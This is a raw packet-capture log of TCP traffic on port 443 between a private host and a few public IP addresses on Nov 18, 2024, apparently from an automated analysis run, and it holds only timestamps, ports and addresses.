Nov 18, 2024 20:21:55.292088032 CET	49919	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:55.292095900 CET	443	49919	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:55.314529896 CET	443	49923	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:55.314976931 CET	49923	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:55.314986944 CET	443	49923	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:55.315412998 CET	49923	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:55.315417051 CET	443	49923	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:55.387834072 CET	443	49922	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:55.387918949 CET	443	49922	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:55.387993097 CET	49922	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:55.388034105 CET	443	49922	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:55.388138056 CET	49922	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:55.388138056 CET	49922	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:55.388138056 CET	49922	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:55.388161898 CET	443	49922	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:55.390857935 CET	49935	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:55.390938044 CET	443	49935	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:55.391083002 CET	49935	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:55.391266108 CET	49935	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:55.391299963 CET	443	49935	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:55.424441099 CET	443	49919	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:55.424464941 CET	443	49919	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:55.424504995 CET	49919	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:55.424518108 CET	443	49919	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:55.424530029 CET	443	49919	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:55.424581051 CET	49919	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:55.424787998 CET	49919	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:55.424787998 CET	49919	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:55.424798965 CET	443	49919	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:55.424808979 CET	443	49919	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:55.428217888 CET	49936	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:55.428313017 CET	443	49936	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:55.428498983 CET	49936	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:55.428651094 CET	49936	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:55.428687096 CET	443	49936	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:55.449655056 CET	443	49923	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:55.449727058 CET	443	49923	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:55.449774027 CET	49923	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:55.449786901 CET	443	49923	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:55.449867964 CET	443	49923	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:55.449913025 CET	49923	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:55.450114965 CET	49923	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:55.450126886 CET	443	49923	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:55.450138092 CET	49923	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:55.450144053 CET	443	49923	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:55.452503920 CET	49937	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:55.452542067 CET	443	49937	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:55.452609062 CET	49937	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:55.452786922 CET	49937	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:55.452801943 CET	443	49937	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:55.692081928 CET	49922	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:55.692115068 CET	443	49922	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:56.023708105 CET	443	49929	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:56.024149895 CET	49929	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:56.024192095 CET	443	49929	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:56.024578094 CET	49929	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:56.024589062 CET	443	49929	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:56.031197071 CET	443	49930	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:56.031677008 CET	49930	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:56.031691074 CET	443	49930	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:56.032356024 CET	49930	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:56.032363892 CET	443	49930	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:56.146369934 CET	443	49935	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:56.148262978 CET	49935	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:56.148302078 CET	443	49935	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:56.148919106 CET	49935	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:56.148926973 CET	443	49935	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:56.155678034 CET	443	49929	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:56.156008005 CET	443	49929	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:56.156078100 CET	49929	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:56.156240940 CET	49929	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:56.156256914 CET	443	49929	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:56.156342983 CET	49929	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:56.156349897 CET	443	49929	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:56.160826921 CET	49942	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:56.160891056 CET	443	49942	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:56.160995007 CET	49942	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:56.161957979 CET	49942	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:56.161988020 CET	443	49942	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:56.163219929 CET	443	49930	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:56.163289070 CET	443	49930	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:56.163383961 CET	49930	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:56.163646936 CET	49930	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:56.163667917 CET	443	49930	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:56.163685083 CET	49930	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:56.163691998 CET	443	49930	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:56.166996002 CET	49943	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:56.167036057 CET	443	49943	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:56.167130947 CET	49943	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:56.167457104 CET	49943	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:56.167467117 CET	443	49943	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:56.175050020 CET	443	49936	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:56.175664902 CET	49936	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:56.175683975 CET	443	49936	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:56.176310062 CET	49936	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:56.176316977 CET	443	49936	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:56.205868959 CET	443	49937	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:56.206267118 CET	49937	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:56.206293106 CET	443	49937	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:56.206686020 CET	49937	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:56.206692934 CET	443	49937	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:56.277225971 CET	443	49935	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:56.277565002 CET	443	49935	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:56.277657032 CET	49935	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:56.277856112 CET	49935	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:56.277898073 CET	443	49935	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:56.277926922 CET	49935	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:56.277941942 CET	443	49935	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:56.281894922 CET	49944	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:56.281940937 CET	443	49944	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:56.282109022 CET	49944	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:56.282381058 CET	49944	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:56.282399893 CET	443	49944	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:56.310276985 CET	443	49936	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:56.310316086 CET	443	49936	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:56.310367107 CET	443	49936	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:56.310410023 CET	49936	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:56.310455084 CET	49936	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:56.339658976 CET	49936	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:56.339675903 CET	443	49936	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:56.339709997 CET	49936	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:56.339716911 CET	443	49936	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:56.354093075 CET	49945	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:56.354121923 CET	443	49945	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:56.354238987 CET	49945	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:56.354459047 CET	49945	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:56.354476929 CET	443	49945	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:56.373240948 CET	443	49937	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:56.373431921 CET	443	49937	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:56.373579025 CET	49937	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:56.373619080 CET	49937	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:56.373637915 CET	443	49937	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:56.373655081 CET	49937	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:56.373661041 CET	443	49937	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:56.376233101 CET	49946	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:56.376279116 CET	443	49946	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:56.376439095 CET	49946	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:56.376562119 CET	49946	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:56.376576900 CET	443	49946	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:56.786314011 CET	443	49846	142.250.185.132	192.168.2.5
Nov 18, 2024 20:21:56.786396027 CET	443	49846	142.250.185.132	192.168.2.5
Nov 18, 2024 20:21:56.786583900 CET	49846	443	192.168.2.5	142.250.185.132
Nov 18, 2024 20:21:56.872786045 CET	49846	443	192.168.2.5	142.250.185.132
Nov 18, 2024 20:21:56.872811079 CET	443	49846	142.250.185.132	192.168.2.5
Nov 18, 2024 20:21:56.908452988 CET	443	49942	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:56.912117958 CET	49942	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:56.912162066 CET	443	49942	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:56.912729979 CET	49942	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:56.912745953 CET	443	49942	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:56.917469978 CET	443	49943	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:56.917881966 CET	49943	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:56.917924881 CET	443	49943	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:56.918500900 CET	49943	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:56.918515921 CET	443	49943	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:57.032248020 CET	443	49944	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:57.033411026 CET	49944	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:57.033432961 CET	443	49944	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:57.034137011 CET	49944	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:57.034143925 CET	443	49944	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:57.036710024 CET	443	49942	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:57.037554979 CET	443	49942	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:57.037607908 CET	443	49942	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:57.037674904 CET	49942	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:57.037760973 CET	49942	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:57.037790060 CET	443	49942	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:57.037808895 CET	49942	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:57.037817001 CET	443	49942	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:57.040503979 CET	49953	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:57.040543079 CET	443	49953	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:57.040777922 CET	49953	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:57.040971994 CET	49953	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:57.040987015 CET	443	49953	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:57.045053959 CET	443	49943	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:57.045222998 CET	443	49943	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:57.045353889 CET	49943	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:57.046235085 CET	49943	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:57.046269894 CET	443	49943	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:57.046300888 CET	49943	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:57.046315908 CET	443	49943	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:57.049623966 CET	49954	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:57.049657106 CET	443	49954	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:57.049868107 CET	49954	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:57.050000906 CET	49954	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:57.050017118 CET	443	49954	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:57.089042902 CET	443	49945	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:57.089561939 CET	49945	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:57.089575052 CET	443	49945	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:57.090063095 CET	49945	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:57.090066910 CET	443	49945	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:57.145972013 CET	443	49946	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:57.171423912 CET	49946	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:57.171446085 CET	443	49946	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:57.171994925 CET	49946	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:57.171999931 CET	443	49946	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:57.222548962 CET	443	49945	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:57.222632885 CET	443	49945	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:57.222814083 CET	49945	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:57.257353067 CET	443	49944	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:57.257575989 CET	443	49944	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:57.257631063 CET	49944	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:57.257648945 CET	443	49944	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:57.257719994 CET	443	49944	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:57.258356094 CET	49944	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:57.306391954 CET	443	49946	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:57.306574106 CET	443	49946	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:57.306651115 CET	49946	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:57.462616920 CET	49945	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:57.462641001 CET	443	49945	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:57.479538918 CET	49944	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:57.479558945 CET	443	49944	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:57.487376928 CET	49946	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:57.487387896 CET	443	49946	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:57.734652042 CET	49958	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:57.734720945 CET	443	49958	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:57.734791994 CET	49958	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:57.764328003 CET	49958	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:57.764343977 CET	443	49958	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:57.772296906 CET	443	49953	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:57.773188114 CET	49953	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:57.773212910 CET	443	49953	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:57.773705006 CET	49953	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:57.773711920 CET	443	49953	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:57.774082899 CET	49962	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:57.774116993 CET	443	49962	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:57.774193048 CET	49962	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:57.774578094 CET	49962	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:57.774593115 CET	443	49962	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:57.781781912 CET	49963	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:57.781795979 CET	443	49963	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:57.781939983 CET	49963	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:57.787779093 CET	49963	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:57.787790060 CET	443	49963	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:57.792862892 CET	443	49954	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:57.794786930 CET	49954	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:57.794804096 CET	443	49954	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:57.795361042 CET	49954	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:57.795367002 CET	443	49954	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:57.901442051 CET	443	49953	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:57.902151108 CET	443	49953	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:57.902256012 CET	49953	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:57.926254034 CET	443	49954	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:57.926414967 CET	443	49954	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:57.926481962 CET	49954	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:58.125951052 CET	49953	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:58.125994921 CET	443	49953	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:58.128715992 CET	49954	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:58.128715992 CET	49954	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:58.128757954 CET	443	49954	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:58.128783941 CET	443	49954	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:58.158526897 CET	49965	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:58.158577919 CET	443	49965	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:58.158643007 CET	49965	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:58.163284063 CET	49966	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:58.163352013 CET	443	49966	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:58.163419962 CET	49966	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:58.164906025 CET	49965	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:58.164923906 CET	443	49965	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:58.165997028 CET	49966	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:58.166034937 CET	443	49966	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:58.525094032 CET	443	49962	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:58.526242971 CET	49962	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:58.526257992 CET	443	49962	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:58.527005911 CET	49962	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:58.527015924 CET	443	49962	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:58.531922102 CET	443	49963	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:58.532533884 CET	49963	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:58.532546043 CET	443	49963	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:58.533178091 CET	49963	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:58.533190966 CET	443	49963	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:58.658057928 CET	443	49962	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:58.658487082 CET	443	49962	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:58.658534050 CET	49962	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:58.658548117 CET	443	49962	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:58.658560038 CET	443	49962	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:58.658596992 CET	49962	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:58.661798000 CET	443	49963	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:58.662082911 CET	443	49963	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:58.662166119 CET	49963	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:58.719513893 CET	49962	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:58.719535112 CET	443	49962	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:58.747246981 CET	49963	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:58.747246981 CET	49963	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:58.747283936 CET	443	49963	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:58.747297049 CET	443	49963	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:58.759190083 CET	49968	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:58.759227037 CET	443	49968	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:58.759326935 CET	49968	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:58.760425091 CET	49969	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:58.760462046 CET	443	49969	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:58.760521889 CET	49969	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:58.760849953 CET	49968	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:58.760876894 CET	443	49968	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:58.761178017 CET	49969	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:58.761192083 CET	443	49969	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:58.905131102 CET	443	49958	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:58.908545971 CET	443	49966	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:58.914289951 CET	443	49965	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:58.936009884 CET	49958	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:58.936038971 CET	443	49958	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:58.936820984 CET	49958	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:58.936830997 CET	443	49958	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:58.937567949 CET	49966	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:58.937602997 CET	443	49966	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:58.938256025 CET	49966	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:58.938276052 CET	443	49966	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:58.938909054 CET	49965	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:58.938930988 CET	443	49965	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:58.939541101 CET	49965	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:58.939544916 CET	443	49965	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:59.064680099 CET	443	49966	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:59.064711094 CET	443	49966	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:59.064763069 CET	443	49966	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:59.064826965 CET	49966	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:59.067696095 CET	443	49958	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:59.067785025 CET	443	49958	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:59.067907095 CET	49958	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:59.073992014 CET	49966	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:59.074019909 CET	443	49966	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:59.074039936 CET	49966	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:59.074048996 CET	443	49966	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:59.074970961 CET	49958	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:59.074996948 CET	443	49958	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:59.075009108 CET	49958	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:59.075015068 CET	443	49958	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:59.078857899 CET	443	49965	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:59.079037905 CET	443	49965	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:59.079149961 CET	49965	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:59.079550982 CET	49965	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:59.079566002 CET	443	49965	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:59.080867052 CET	49977	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:59.080920935 CET	443	49977	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:59.080926895 CET	49978	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:59.080962896 CET	443	49978	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:59.081007004 CET	49977	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:59.081027031 CET	49978	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:59.082477093 CET	49977	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:59.082494020 CET	443	49977	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:59.084376097 CET	49978	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:59.084400892 CET	443	49978	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:59.086668015 CET	49979	443	192.168.2.5	13.107.246.45
